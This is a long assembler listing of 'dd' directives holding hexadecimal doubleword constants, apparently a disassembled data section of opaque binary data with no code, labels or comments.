		dd 0A71D6A14h, 8D10096Ch, 0F0BF7110h, 80574707h, 0DA1A495Fh
		dd 5503E512h, 879C39F9h, 14710409h, 0B20EA46h, 8CC84500h
		dd 447A8B75h, 0F140F0Ch, 4E60E76Fh, 0A48FCC82h,	0EA10F60Bh
		dd 29792056h, 1D81B1EBh, 40E883A6h, 0ACFD2E97h,	43C4F80h
		dd 5D230EADh, 18356DBCh, 79257E0h, 3DAB28Ah, 835877D8h
		dd 1000998Eh, 0A6CBC10Dh, 3E3543C0h, 39003288h,	0B9F8B3A9h
		dd 0BF18D151h, 2E580F17h, 43A11EDEh, 0F80C000Bh, 0A0D248FCh
		dd 0BEC58E00h, 8C8758BFh, 0D6B41821h, 300C50C7h, 20A19E60h
		dd 0C6BE36BCh, 0B9E9BB18h, 21A69530h, 1CDD609Ah, 80658117h
		dd 32415A0Ah, 1E70B36Dh, 0F2523EC0h, 18B84513h,	0C0A766B2h
		dd 21F8DBB0h, 3E60DCB0h, 44E767F1h, 5BEE00EAh, 6DC9634Bh
		dd 3B0E2776h, 988084E4h, 3A8A0229h, 710022F1h, 9EC9E99Fh
		dd 870089EEh, 0FB51135Ch, 0E80E76h, 0FE75888Eh,	0F9794DEDh
		dd 0D101B700h, 8ABA31F7h, 9588C6C7h, 5D00C9A5h,	0A6BC76BDh
		dd 0E3CE73h, 0DFD0F7D3h, 0D6823227h, 630B060h, 183DB9F9h
		dd 91368125h, 0BD03F07Ah, 2D72A1ECh, 0D521989Bh, 7EC315C0h
		dd 0ED14D0DEh, 5E10E8AFh, 80363DA5h, 9E591098h,	2832266Eh
		dd 0CE05461h, 0B7B2C420h, 8DF88638h, 8C186960h,	238F687h
		dd 4A26A708h, 0F70033BDh, 1529BC94h, 0F80D1870h, 406C3D00h
		dd 172D0759h, 0C1522200h, 0BA44A29Dh, 5EF31C0Bh, 0E64B8530h
		dd 3E85CB5h, 0C2D46396h, 3607E1F0h, 1DA02D18h, 67131A0h
		dd 873DBBD1h, 0C5331C0h, 7F2D0080h, 0CB0565B2h,	0A35600CEh
		dd 8FC4DE2Bh, 210C0D5Dh, 0D1C242BCh, 5269203Ah,	8A8FF803h
		dd 0C55896Ah, 7BAA610h,	0B260E6C1h, 90A6869h, 0F84E0B05h
		dd 0DA00BC3Dh, 642D5DDBh, 321A03B8h, 1513CD1h, 61D96AF8h
		dd 3780108Ch, 0BB00C7A1h, 0DDF0C2C5h, 0E1903687h, 2E52D0DBh
		dd 0A948A342h, 81810818h, 228EA5E1h, 1184F89Fh,	0E7927C01h
		dd 0BD62BABBh, 45A6E040h, 0CCB6048Fh, 8C2255C1h, 8E00B124h
		dd 0CB8D11F0h, 193242Ah, 64965D9Fh, 240E5C2Bh, 8D90D110h
		dd 8CA09E72h, 20A0968Dh, 7300D292h, 0AAC22263h,	26766D3h
		dd 7EF34BEBh, 1488330Ch, 8DA38170h, 0D823C9C3h,	0BF4C4CA7h
		dd 21E2124h, 0B7C2922Fh, 0CC4D3600h, 8FECA011h,	1CDE0DA8h
		dd 100594h, 0AFFE78A0h,	0C104D715h, 3F5122D0h, 0BB37E398h
		dd 364947B0h, 4415183Bh, 29C0218h, 9BE74C95h, 25F049CEh
		dd 0FBAC7420h, 0B8E6D900h, 5BB6ECA8h, 5522F700h, 0B1DDBAC8h
		dd 0C8DA7ABCh, 2D838CA0h, 4D2A28Ah, 245530B8h, 722E0037h
		dd 33735EBDh, 0AC51C921h, 0ED1DE4F8h, 93FCA0C1h, 0F450DBEEh
		dd 6389456h, 0E682B977h, 310350CAh, 0E701A358h,	449A19Eh
		dd 0A0ABEEF0h, 288DE5h,	302AEAA8h, 0CEB9E176h, 6257E000h
		dd 0EFCA59D8h, 227A1D87h, 4E830119h, 0D47E6337h, 851ECE95h
		dd 0E20F380Bh, 2E005FD8h, 0AB51788Bh, 0E8A40066h, 0D0625FE0h
		dd 40E0CFCh, 8F7FF4h, 0EF596F88h, 2313000Dh, 67E857F0h
		dd 0B000CA3h, 0AC01F51Bh, 0A317081Dh, 806C9A80h, 965B2EECh
		dd 0AB80A8A2h, 0B0AAFEC4h, 137F008Ah, 365DF055h, 2554601Dh
		dd 0BC76F5F8h, 0E828DC91h, 58A1AE44h, 0F5C00023h, 0B18F787Eh
		dd 5E901A64h, 6ECE480h,	0B0C083B4h, 82FDE81Ch, 4E9AB758h
		dd 6BAC83A8h, 20910698h, 30DD76CCh, 22BC930Ch, 22267930h
		dd 25EEBEE6h, 2F00BAF8h, 0C11FA7E3h, 0F27DD3Ch,	6FCF19BDh
		dd 2EDBFD60h, 49485532h, 0F580338h, 7AA95FFh, 917FCC69h
		dd 0E1C37769h, 0C43DFC6Ah, 1D078ED0h, 0B1194340h, 34C83104h
		dd 52B41920h, 409699D4h, 0F09E6124h, 0F3077206h, 0F84889Ch
		dd 5E83A3DDh, 986D160h,	0A96396AAh, 0FB78B731h,	1580A089h
		dd 8E7D003Ch, 6E5EA85Ah, 0E13203Dh, 9C0949BAh, 0ABCC9017h
		dd 3A7FE8Dh, 5511B233h,	41B87A1Bh, 0B826CBAFh, 5D404C4Ah
		dd 506C2CD0h, 10B9B02Dh, 12C8C29Ah, 7C53210Eh, 4CBF8830h
		dd 0B23407FCh, 0C033CB24h, 0C521BD5Fh, 0E4390C2Ch, 0C1BAC461h
		dd 0C959F600h, 342AC32Ch, 81762F85h, 0E25C488h,	688D783Ch
		dd 4DCE9E00h, 2C094409h, 8258BB59h, 0D602E8h, 34816EFBh
		dd 0D3F439C0h, 627BFC3h, 0B1A77DCDh, 4AE2F9B2h,	0C03A8528h
		dd 30FF672Eh, 62F3F08h,	2916B5A6h, 0CC1E624h, 18FFC87h
		dd 0EE954AC0h, 83BA004Ch, 98665EB9h, 8D009BF3h,	7DCAB2BEh
		dd 497F3E68h, 0D5143C2Dh, 0FE809C1Ch, 0A119BCCDh, 18EA1C9h
		dd 2582588h, 82863D01h,	0A70DFD79h, 0A06464B3h,	1E877DCh
		dd 0F8960E2Fh, 0F02A360Ch, 0A718ACFCh, 862903B4h, 4FE1306Ah
		dd 1DF31AD8h, 7424AE0Ch, 18F5601Fh, 0E993D141h,	30A01797h
		dd 1D047521h, 9965B73Ch
		dd 40B2988Ch, 3A168ABFh, 8C219F5Ah, 0F903ACFEh,	868F79A0h
		dd 60054A13h, 92CBCC42h, 8A0109C8h, 3530681Dh, 7D288894h
		dd 908C0C38h, 4C40E9B0h, 843D3EF7h, 50BB8054h, 5C8F5418h
		dd 3D0A0CBFh, 810BE89h,	17943A1Ah, 0D4368780h, 15493FD0h
		dd 833D19E8h, 600C31B6h, 500966AFh, 5C4B9FAh, 0F8C1635Ch
		dd 0CC41E5A7h, 2711301Eh, 10FC305Eh, 0CF8E3E40h, 1870EDB8h
		dd 0D293980h, 0E8387828h, 8CF0C41h, 0BC58B7AEh,	80EEF828h
		dd 672E5D00h, 0E4FFFCDAh, 485E7E2Ah, 0A09A9421h, 4D357800h
		dd 5802FF54h, 0B1B2BB9Eh, 38AC50D8h, 0B854BDA7h, 8492067Dh
		dd 39AF833Eh, 8CB0F0E2h, 0BD393202h, 0C0F7AD58h, 80B6FE2Ch
		dd 90026237h, 0CC217DFCh, 16005036h, 2017BC5Bh,	2A82B7C8h
		dd 4F71AB60h, 5462301Fh, 14F8E859h, 8838F9F1h, 4BC01CD4h
		dd 0F2B59151h, 2A253818h, 657F3D21h, 8895A1BCh,	8A3BE308h
		dd 0E1A98030h, 800B1E6Bh, 349D2B5h, 0D6BA94F8h,	0C202C88h
		dd 837A69C8h, 54CAA6F6h, 279A5FA0h, 9CF8E629h, 0A0A02D09h
		dd 0A6BF60FCh, 1AA81C9Dh, 8AB84222h, 34E4C676h,	0B0FEA028h
		dd 9630C9F8h, 1B91999Fh, 945000C6h, 6080ABADh, 0EF263224h
		dd 961EEB9Fh, 148729B4h, 0D80CBE90h, 9D7F53h, 563F078h
		dd 0AA723901h, 0ABA2FC01h, 7F072862h, 0A8B0E020h, 58F8F5DCh
		dd 0D6807480h, 1F8C8504h, 0DE15B212h, 6D623002h, 0EBC80048h
		dd 0A092B892h, 3E5172E8h, 0FC4881D0h, 191C4CD6h, 0E6FDF085h
		dd 158440B4h, 49907A24h, 5054EB2Ch, 324AA908h, 0A48AF220h
		dd 6519164h, 0C462E422h, 23BC2C69h, 84226988h, 5D2315B6h
		dd 1FC496h, 523386D9h, 3A1E32D0h, 23D82CC2h, 1A0CC436h
		dd 2890596Ch, 0D282B261h, 0F80D98E8h, 8DDDAF1Ch, 0E2ABE80h
		dd 0C101BBA7h, 7E686361h, 1DBC2095h, 30029420h,	0C6210A17h
		dd 4E033D54h, 275534A2h, 0CB6C9836h, 1D3A1FBFh,	1822A58Ch
		dd 3C70C16Ah, 80708048h, 6C862BE1h, 0D07D480Eh,	0C04AB408h
		dd 0A0BFE50Ah, 523EA780h, 0F4707Ah, 636A7D86h, 193FDE22h
		dd 0D22F950Eh, 207E8E61h, 0BC58E8A6h, 61336724h, 0EE017094h
		dd 330C0AFh, 2D3750F2h,	790BA24h, 5B7E69E6h, 0A36D30AAh
		dd 31003973h, 0E0880523h, 4CC3B093h, 1005168h, 4BF35E2Eh
		dd 64B8C296h, 90A5DA20h, 5B8A0F9Eh, 3080F57Eh, 0B14F5713h
		dd 0DC3E83F8h, 80E1B0CAh, 7DD6556h, 0BB990D46h,	63E8BCAAh
		dd 90913807h, 3DC19580h, 28246C82h, 0F6870337h,	0AC671ACh
		dd 0FC0438D5h, 74BFE88h, 0CD1DDBD4h, 0E01B3093h, 0F40C9EB6h
		dd 18DA0B83h, 0F5A61E0Ah, 804034F2h, 72A4D1F4h,	59ED110Ch
		dd 0FF59CBh, 1745B777h,	0CA95DC96h, 0FA7F98E4h,	0C99C2F01h
		dd 8419BFC5h, 0F724388Fh, 782F440Eh, 8321DA87h,	10434CBAh
		dd 0C3188130h, 881E0E40h, 1E3097BEh, 0C80900F0h, 2EFAF2F0h
		dd 83C51E07h, 0CAC32363h, 0CB280A4Dh, 3A9899FEh, 167400F7h
		dd 30959C94h, 731960Bh,	904F51BFh, 7885B4F5h, 217F4A22h
		dd 482D09B4h, 897CFCA8h, 4B5A08A8h, 0C849A8A8h,	0F41986Fh
		dd 810C8880h, 83FCEFCDh, 0B5C45007h, 0C260F71Bh, 5B69CA79h
		dd 30D4AEF5h, 8981C7F6h, 1F281B6Bh, 950518C3h, 0B7096E35h
		dd 741F000h, 604B8197h,	64727128h, 7F008EA8h, 0D6EAA619h
		dd 0C3B3A4Eh, 0FA709875h, 41C166D0h, 0B5F489D2h, 0FF2824h
		dd 315A81BCh, 4D2ECAF3h, 77363Fh, 3DC57202h, 0C5BB0797h
		dd 21B84989h, 0E65A9B98h, 6BF40F20h, 0D550C07Bh, 0FD6FE9B8h
		dd 127C530Eh, 0B14420EEh, 897243h, 0E5052603h, 2EDAD65Dh
		dd 56078100h, 783DDD27h, 0FB7E0020h, 672E9D2h, 1A008012h
		dd 0FFF2DBDCh, 8A8452h,	384A19C8h, 28D4E63Bh, 570A6D06h
		dd 1F408B33h, 2004801Eh, 80120C3Fh, 0F2E6F61Dh,	37E3EF5h
		dd 482DB4A5h, 0A1F85DE1h, 0A00713Bh, 3CDCE866h,	0F8013BAh
		dd 7BE9E610h, 1D6E6183h, 24528EF7h, 0BF046AC8h,	476F854h
		dd 1F706007h, 0D887F6h,	0B49D8049h, 220D251Fh, 0EDEE1780h
		dd 0B56FC6Bh, 794E8AF5h, 9801CE81h, 8006D137h, 0A9EE1940h
		dd 7BF32Bh, 36B7A58Ah, 54ECF48h, 7928ED03h, 9013FBC7h
		dd 701B7F54h, 0E99B0074h, 765E067Eh, 0FD80EB0Ch, 8879007Bh
		dd 0DD4819C2h, 0D2010B62h, 52B9853Bh, 8CF8CEF5h, 11740017h
		dd 0B88037D9h, 2077766Ah, 0FF42A913h, 0C4887804h, 45C738C2h
		dd 6C47D794h, 166A53D0h, 0F1DB00ECh, 0A5877BFFh, 480018C1h
		dd 0A10566DAh, 0FC712Bh, 57D1275Fh, 0C589208Fh,	7A3CE500h
		dd 12755B06h, 28E200A7h, 8B8052B1h, 0F70064B5h,	0DC0258C8h
		dd 38A33830h, 4D81D6FEh, 0B98A0D7Bh, 4408297h, 0F6861h
		dd 853DB13Eh, 64BFA500h, 95AE50Dh, 2E4400EFh, 8AEB5FF7h
		dd 79FA7F3Ah, 3DE60400h, 7C61102Ch, 0D9A7001Dh,	853CF444h
		dd 5A2CC097h, 7ED58C72h, 7830B100h, 1A6A11FDh, 3FDB00D9h
		dd 9A764F01h, 48085A03h, 70F5FF6h, 50610B7Dh, 0DA7749DCh
		dd 0E7047C00h, 56FD6DE9h, 0F54B0775h, 50FA28EAh, 30C3A286h
		dd 27E60500h, 2E29D316h, 537003h, 0FFD44DCCh, 3693117Dh
		dd 5F002C70h, 0DDEA106Dh, 7BED2Fh, 25038F75h, 45EF448h
		dd 2E3AEC01h, 0CE276405h, 701D7BD8h, 0F3D3007Ch, 7059EB2Bh
		dd 0EF77A71Eh, 0B33EF500h, 431AC28Dh, 162770D6h, 40733BD1h
		dd 7955E3ACh, 0BB528A0Ch, 0FF044688h, 0BD00EEECh, 0B6058014h
		dd 20B5712h, 0C7A38C2h,	3495F672h, 1830B60h, 0F5DE2E6h
		dd 803AD30Ch, 2B039240h, 1CAED5BCh, 9CEFF319h, 0C8C1A610h
		dd 0DE511983h, 5CE0DC94h, 31C07580h, 0F2CE2091h, 2F1A1DFAh
		dd 0DC866D9Ch, 0B300218Ah, 5CC1CE18h, 0BFA29Fh,	0B9C8500Eh
		dd 4A1172A1h, 0CB51B30Eh, 0F31BE302h, 0B789009Bh, 216889CEh
		dd 0E19EADEh, 0B208B618h, 898621B3h, 75A88E9Bh,	9F027876h
		dd 0BB4C0BB9h, 7574F2D2h, 7B0C8890h, 0C1C8491Dh, 0E5977830h
		dd 0EB5A02D9h, 99C386FCh, 0CD0F2420h, 784602ABh, 0C9F3DDC5h
		dd 2D71CB1h, 538C9029h,	724F7EA8h, 45960C75h, 1CD06322h
		dd 89CF048Ch, 62E62169h, 0C7DD20AEh, 6F1E8D89h,	528E7915h
		dd 98742099h, 0A80DAEC3h, 1F12ACCh, 0EC942134h,	788BCA95h
		dd 211E3098h, 0E34EA4Ch, 134D9472h, 865081D7h, 4A25C48Bh
		dd 9F89C819h, 87E180C9h, 3868F9B7h, 2434F4C0h, 96042194h
		dd 4FC4BCh, 1C3334EDh, 0C28194FBh, 0A8F2C900h, 0E6700B1Dh
		dd 0AB2D1495h, 919EC4D9h, 0F5A60BA1h, 2684C007h, 0C2982975h
		dd 34F0013Ch, 49E49420h, 4B20E670h, 6E034E9h, 53816ED3h
		dd 0F22A191Dh, 0BDF2A4A4h, 0E08AA300h, 0E47208EFh, 0B19D05D7h
		dd 1D4BFCF3h, 45230244h, 0D0A7F2CCh, 4298BA33h,	0C08F2701h
		dd 2619BA21h, 0C4642474h, 0E86C1F00h, 0F5C52D01h, 96D61802h
		dd 5D18799Eh, 52A73400h, 0A590537Ch, 0E9B4A0BFh, 0F6471DD7h
		dd 5B2283E2h, 510F7D81h, 0CFB9F482h, 2A452058h,	187BB43Eh
		dd 0A0EA7621h, 90305448h, 80F74983h, 7EE17C85h,	431707FFh
		dd 879B2778h, 201A714Bh, 5959898Ch, 664C20D7h, 0BD6CE0h
		dd 8B8DB5A1h, 44645404h, 4F6EAC00h, 95C52C82h, 48216031h
		dd 0D5985045h, 96708360h, 0C71EC007h, 969FEF68h, 1A00187Ch
		dd 6895D336h, 50F64BFFh, 3019A8E5h, 0FC817818h,	0CA611C5Bh
		dd 49236018h, 0FBA7F889h, 87E12499h, 0DC6F95E9h, 0A420F3C5h
		dd 1EFA2F8Fh, 7317FEEh
		dd 505EAC9Fh, 1972010Bh, 0CC01A893h, 0CE216689h, 0DA88B318h
		dd 0C18900C4h, 46D9D33Ch, 50055F4Ch, 28134E95h,	0D896F000h
		dd 13901DD1h, 0D19EB714h, 10D25950h, 72962587h,	3E17002Ch
		dd 4B27B7C0h, 0B60089F3h, 661D8B14h, 15A5FD2Eh,	70F6A75Ah
		dd 2D00E43Eh, 779A8529h, 6754C04Fh, 0F837A6E4h,	0A8C129CCh
		dd 0AC509205h, 0A00C282Fh, 3319C7B8h, 0DB91D31Ch, 0B86C60A2h
		dd 0F6CE2404h, 85623AFAh, 0CE1CB720h, 0BEF50248h, 2F6A60Fh
		dd 301D4854h, 0CA59ED06h, 68E60081h, 7F4FD05Bh,	477575BCh
		dd 21DA08CCh, 5B61010Ch, 2DBFF05Ch, 22A88090h, 443EBC07h
		dd 597E6978h, 47A21885h, 300FFDBCh, 2776CFD1h, 653AD13h
		dd 48D53C14h, 3818D23Ch, 24341530h, 19BCF06Bh, 18E9A0D1h
		dd 0CC5B0864h, 0DDC45F4Fh, 5B5D0840h, 0A33C0F74h, 905C0996h
		dd 52F020BDh, 96AF2AEh,	0F3A628A7h, 0B3421090h,	0CA919A00h
		dd 0E3C3870Dh, 0C5690AD0h, 5C40D2F9h, 51DDA46h,	0CAD1F7D6h
		dd 2E6C08E4h, 1B19083Ch, 26C3808Bh, 0D7CB3596h,	0C00F0D2h
		dd 27D234CEh, 72502265h, 353D2C04h, 90C48583h, 23C800CBh
		dd 0F274FAC0h, 7022852h, 1896FC80h, 78CC1B1Dh, 0C1C0D159h
		dd 0D83840F3h, 14C702E9h, 8180E473h, 1A002444h,	629E95B0h
		dd 0EABCCE0Ch, 0D67F2C75h, 0CAD50051h, 0F295BA72h, 0CB4A6D09h
		dd 6154049Ah, 0F7CE2560h, 1142FA23h, 1DB8008Bh,	4C790ECEh
		dd 17B0186h, 432D3DCDh,	5AA888F7h, 0D3B280D6h, 0B9456E3Bh
		dd 1D853Fh, 6DD766DCh, 26FAE27Ch, 8744D24Bh, 7094628Bh
		dd 0C737C3D6h, 3C180909h, 0ABF4036Eh, 0C4582EF9h, 76800C64h
		dd 0F2C4989h, 4A1263BCh, 535A6820h, 0C5060C4Fh,	0D1B9FCE6h
		dd 2117AE30h, 0B04EE4DEh, 0BB73001Fh, 0D20B54ADh, 0EA04D558h
		dd 0A0F31FC9h, 8D290890h, 0E87E0780h, 0D19889ADh, 0E90B51D2h
		dd 68819E83h, 9A401ADCh, 0FD298602h, 57D80B14h,	3E82E591h
		dd 3C484FCDh, 0EF48EC80h, 816213EDh, 0B5C0B820h, 85F41EA9h
		dd 7F4D0595h, 5BFC90E7h, 8CA1AA98h, 2F9BCC97h, 10B1BA7Ch
		dd 13490180h, 0A24CEDh,	44351CF6h, 0F5F8AAEh, 0F05EE304h
		dd 0FCD021A7h, 2A424F2h, 83FB6809h, 5620C61Ch, 4D90504Bh
		dd 0D44864DDh, 0D0048C7Dh, 0EE216A89h, 4AB8DE38h, 0BE065F00h
		dd 2D47C525h, 235904AAh, 850B800Fh, 31C081A4h, 0D9980372h
		dd 0B824E44Bh, 821A2A19h, 0DC5A4C84h, 3CDA0883h, 3950490h
		dd 92346F00h, 0A851D34Dh, 40809759h, 3DFFF75Dh,	0B056498h
		dd 0EDBF2C2Eh, 89F29C00h, 76CB5DF5h, 0A99C60D4h, 0E526AA59h
		dd 80FBA77Ah, 3A7B8169h, 25B12B8h, 0DC6EC852h, 1848FD08h
		dd 5D1416C1h, 704A2A7h,	0C9F26320h, 48C89646h, 93893847h
		dd 5370E420h, 63496417h, 50E846DCh, 48C5BB0h, 0FAF1CE1Fh
		dd 0B23812h, 8C4DCE17h,	6C5392D1h, 640426F3h, 0C0645D50h
		dd 22FAF3A6h, 8C4428A4h, 0CE191DB4h, 71DAC712h,	0A5F101D6h
		dd 0B89D40FEh, 560CEC52h, 0D470F934h, 0F0C8ED19h, 78721E02h
		dd 794284A7h, 2090C20Dh, 746420C2h, 658F4974h, 0B4ECC1F9h
		dd 8103009Dh, 0F21DFE6h, 18B80863h, 61F1FE9Ah, 9E089ED4h
		dd 282F0217h, 3300AF23h, 0A63777A3h, 0B0DC7A8Dh, 0D0C74D64h
		dd 2534F580h, 96430C94h, 50282122h, 770A8CEEh, 942718AFh
		dd 66A64001h, 0C73F1A7h, 0A5AD9808h, 5C70F801h,	0B822B950h
		dd 341F0F76h, 412034Dh,	0E8FEF10Ch, 0B04F2210h,	64EC5998h
		dd 0CF5B6780h, 448C774Fh, 600E0BE1h, 40B0AA5Bh,	18BBFFA2h
		dd 53FA0CCFh, 0D078B75Ch, 51729803h, 56732DA0h,	0B9F04899h
		dd 9DF27F9Bh, 940C9E04h, 0BCA0271Dh, 0C87B18FAh, 558D70A4h
		dd 18EBD730h, 598ED571h, 30489012h, 0CB031823h,	0FC216589h
		dd 0D920AC62h, 59789C3h, 0A490F219h, 2F901302h,	0E123F4h
		dd 8FFB0D25h, 172BAC27h, 7416CCB1h, 0C700D46Eh,	2B603515h
		dd 0FC0CFD11h, 2044F3A4h, 7210909h, 94002FF4h, 96FD908Dh
		dd 34C4BCA2h, 0B458C4B0h, 54814E97h, 6F04BF6Bh,	819D0990h
		dd 0EB5487C2h, 48802184h, 0CC80A2h, 64F7DD09h, 2ECAFAF0h
		dd 3D021976h, 26902788h, 1FDC52F4h, 8136EBh, 8C2CC56Ch
		dd 3F03AE6Bh, 54809D75h, 95F90A11h, 92F82F35h, 8820C9FEh
		dd 6C79718h, 3113AFC1h,	0EC39FC0Fh, 74F4A180h, 1C2C5A6Dh
		dd 8CC4B840h, 2234F204h, 1F62F494h, 34EB4D20h, 81F61288h
		dd 3748407Ah, 5A4B35EEh, 76BFFD0Eh, 91E6CCFFh, 0AF2D1193h
		dd 0BE2479EFh, 0F09100Bh, 5A7C04BBh, 47CE1E61h,	7C317990h
		dd 16B11089h, 574C00CEh, 0A33087DDh, 0A150404Bh, 5E9EF7Ch
		dd 0A4B02804h, 0FF8F9400h, 113C3753h, 0F86A011Eh, 9DF34224h
		dd 0E69BB850h, 79E10031h, 253627CBh, 48C1DF83h,	0CCAD1D2h
		dd 203853E1h, 9870E780h, 7B4B1D93h, 0D15C7807h,	7092081Ah
		dd 9C1F3C12h, 5C190FFBh, 0F0F94CF7h, 23048C5Fh,	32FAF5CEh
		dd 1B00B638h, 56B4E8CEh, 4C2820FFh, 9F105817h, 4C3706DAh
		dd 58E8CB44h, 6C12F457h, 0AE740532h, 0B2D84E0Eh, 0F46AA7A2h
		dd 0C78E7883h, 0C1BB4BE0h, 9F8FD518h, 42CE719h,	0A69EC977h
		dd 120FD21h, 52492370h,	7824200Bh, 2CC300E7h, 0D63044C6h
		dd 594AF83Bh, 31913040h, 0BE9965h, 7B2FB5ADh, 0DBFA2DE2h
		dd 0D08A3C04h, 0BC8891D5h, 1ECB16F8h, 80589B63h, 0EDF1BA38h
		dd 0DD44097Fh, 340495F5h, 7C7001F8h, 6428CC3Ch,	1BA5B02h
		dd 9441D3C6h, 6021D934h, 5C942200h, 6381D781h, 79DA712Eh
		dd 182779A4h, 0C8AF031Eh, 2ADFD4B9h, 21E8BC90h,	194CF777h
		dd 0DC917F2Ch, 6CB94100h, 27463151h, 0E4E48D17h, 5BFADC06h
		dd 0F2B8C904h, 93410005h, 18C1EB67h, 50512371h,	9DBC30B8h
		dd 0CC242498h, 6D02A447h, 47C9B060h, 678B4430h,	0F07340B0h
		dd 8009EA36h, 0A4A4D243h, 0FB81820h, 0E66F2C15h, 0BC28239Fh
		dd 2ECBB22h, 0D8699697h, 808FE251h, 46012B08h, 98FD91E5h
		dd 0CCC73088h, 0E452D704h, 30170082h, 641189CAh, 0B088BE21h
		dd 89C2D880h, 0E0A56388h, 255718F7h, 0E29F58F2h, 0FFC6781h
		dd 70F52DA6h, 0C9D59000h, 99275B68h, 1E03D0Ah, 5DC0523Eh
		dd 944E00A1h, 18D12547h, 0F2FD4080h, 953CF6A8h,	0CA5AF0F5h
		dd 88D63888h, 131C04Fh,	0DD804077h, 47284022h, 4A690FD3h
		dd 12BD9849h, 1ECC9168h, 6CC21474h, 44B8E76Ah, 721C60ACh
		dd 0F39A18FCh, 0DB4419A9h, 8A960B00h, 31FA4020h, 5877F74h
		dd 0FC5ED3DCh, 70CCC03Fh, 50093D53h, 40B72D0Ah,	15F2CA0h
		dd 27BCE14Bh, 8C672594h, 0E9635A19h, 5E190A7Ah,	47CC778h
		dd 48992590h, 12868181h, 40BD08B7h, 0B83D2385h,	0E4EA9A01h
		dd 2F1BCACEh, 36B57DDh,	351C1934h, 51D75101h, 982723DBh
		dd 0A8E03025h, 608660D9h, 15C40F22h, 6F7F18C5h,	0CBCA440h
		dd 12F304F2h, 0C206F5A7h, 3CD9D518h, 8008042Ch,	9FE90328h
		dd 0B1227E15h, 0D1D4B1B9h, 175E1888h, 6DC0F9Fh,	6010BC44h
		dd 6CC52C05h, 19C046A8h, 0F38ED633h, 7B80898Ch,	0AD3E2D41h
		dd 0D12882FFh, 40C3364Eh, 8091BD20h, 9605FBDDh,	55F6A754h
		dd 0C62DB445h, 37AF7181h, 2593F982h, 0C52E4EFh,	0B6C96C20h
		dd 23465E54h, 0D47E8D03h, 0F098B585h, 0C33BB42Bh, 0C849857Fh
		dd 4CA2A4BDh, 0ECB90D22h, 0B3182779h, 0DF00C9B8h, 0EA317B5h
		dd 4DF8CAB9h, 0EB849866h, 0A5DA82FCh, 7B2034E4h, 31D905E0h
		dd 450F19Dh, 0D0A57588h
		dd 0FFF2FA94h, 0A2E4B753h, 2DF83086h, 8DB523Ch,	242BD427h
		dd 80E81124h, 4FCB5B63h, 58809457h, 5B035C07h, 2BC223F5h
		dd 8F02E0BAh, 0FC6313FBh, 2030DDCBh, 0D04E50Ch,	2DAC61Fh
		dd 0B3E248A2h, 32D3E30h, 0FBE07FEEh, 48E64C84h,	0D8BFC529h
		dd 18072003h, 4DD07C2Ah, 83BCC8DAh, 28FCED16h, 81664B0Eh
		dd 0EEFB3596h, 4C38C840h, 25A09E34h, 0CC02D4ABh, 8CA0D05Ah
		dd 0A22747ACh, 9D73532Eh, 628C7D00h, 6A857B6h, 0F326CBD1h
		dd 80071AAh, 631CA982h,	0C346DFh, 275F3923h, 2B80338Eh
		dd 0D5E84802h, 0E0CC6BC1h, 0B9972F54h, 528A9288h, 346C094Ch
		dd 0C3E8EB82h, 2C01D0C6h, 0E6C16496h, 0B8603AABh, 51C92AF2h
		dd 15AE33E4h, 72A01F29h, 697DFC80h, 0A2960313h,	0F2E44407h
		dd 344E4A9h, 80D7EA5Ah,	0F79AE7AAh, 210298F8h, 0D5C8F063h
		dd 24D46494h, 8038807Fh, 4B8E8F7Dh, 0F400F192h,	0AF131F69h
		dd 3EFB76Fh, 0C5DBF265h, 0D1DD340Dh, 0C163FA78h, 2D0900CBh
		dd 18F56843h, 2F7512C4h, 2323C0h, 94F7BB1h, 8130E560h
		dd 9EA59979h, 0F0FF0025h, 30A775F1h, 4F125AA1h,	0B002501Ah
		dd 66984BFCh, 2C14630h,	941F34EFh, 584854DCh, 3401E84Ah
		dd 5B814432h, 55000ACEh, 1D00A08Ah, 7D769CD3h, 671B1A86h
		dd 0E0F291BCh, 837A7AAh, 7CA3F424h, 90997043h, 0B9E27E5h
		dd 54F07441h, 0F4236001h, 0E8D83CB6h, 7D008C8Dh, 0C5317248h
		dd 0E09F739Ah, 94160BC7h, 78402355h, 0D20F20CCh, 17DDF71Dh
		dd 445A84C8h, 0FB0017D5h, 0CFD34740h, 1F87A93Ah, 0D670D104h
		dd 0CC780E7Ch, 78085B50h, 7158A1C3h, 94188Eh, 958528D0h
		dd 0D71F2598h, 2E79AF02h, 0C94C0796h, 703C3044h, 268CDCB8h
		dd 104677Fh, 0D4D04144h, 0A100649Ah, 28209586h,	74C7638Bh
		dd 70A82B02h, 40BBA05Ch, 54342D10h, 12F494EFh, 0B2B30883h
		dd 71E4306Ch, 0B811D246h, 0B64421A8h, 0EC58D491h, 5C0C6F3Ah
		dd 0C520A7E8h, 2711DE00h, 0FC2F1A2Eh, 4920BE0Ah, 94B9D05Ah
		dd 64188E79h, 0B105AE1Eh, 4B44C800h, 1FBF1490h,	0F2FB1D8Bh
		dd 2CE874C8h, 18C4D528h, 0B664D273h, 9B7FE000h,	5AB3020Dh
		dd 2DA0526Eh, 0A2A674E8h, 18E7E0A1h, 715B7762h,	0DB448C4Fh
		dd 0FEC4FF06h, 4A070145h, 0AE985458h, 0C67475CFh, 0DD6C220h
		dd 43C01C12h, 0A7A4C08Bh, 5467D25Ch, 0E3353E09h, 0C73CA3D0h
		dd 78DBC293h, 88A41244h, 23FC2F75h, 0F2770125h,	0F48CED53h
		dd 0EF58EC36h, 7B852250h, 0E03797B3h, 2D88F81Fh, 31C0A41Fh
		dd 10D0ABB0h, 0B2B02C5Bh, 3E8A90BCh, 4458B724h,	0E0004025h
		dd 5B9C9993h, 0D401A85Eh, 0D3245A3Dh, 0E75D9F0h, 4E8C5781h
		dd 3558D01h, 8EB468E8h,	0E29290C3h, 33ABB260h, 0E40F2198h
		dd 0C51234BAh, 4880519Fh, 0C49CFCFDh, 1EF4FF70h, 0C8FD5C7h
		dd 0B0467CF8h, 0C0856E00h, 0C3BCA305h, 3BE14602h, 0C853AFCCh
		dd 0A969498h, 0F7907BFDh, 9ED10B84h, 153E94F9h,	830CF546h
		dd 0B9962D40h, 54223167h, 8130E0F2h, 0DFE30016h, 0E8CA5382h
		dd 0DC04B1F2h, 66095718h, 224C98C0h, 0BA208443h, 0D95A30C7h
		dd 0C360D849h, 0C0D30100h, 0AAF4BA68h, 0B4F948C6h, 945C1876h
		dd 292048A5h, 81181197h, 63FC4983h, 0D809BF34h,	0E2392595h
		dd 79D0F9F0h, 163E1885h, 0C0A86395h, 4F838B74h,	0C3B3EB02h
		dd 590AC837h, 2B80398Ch, 0FC5D9E47h, 0A6003D04h, 5A788ACBh
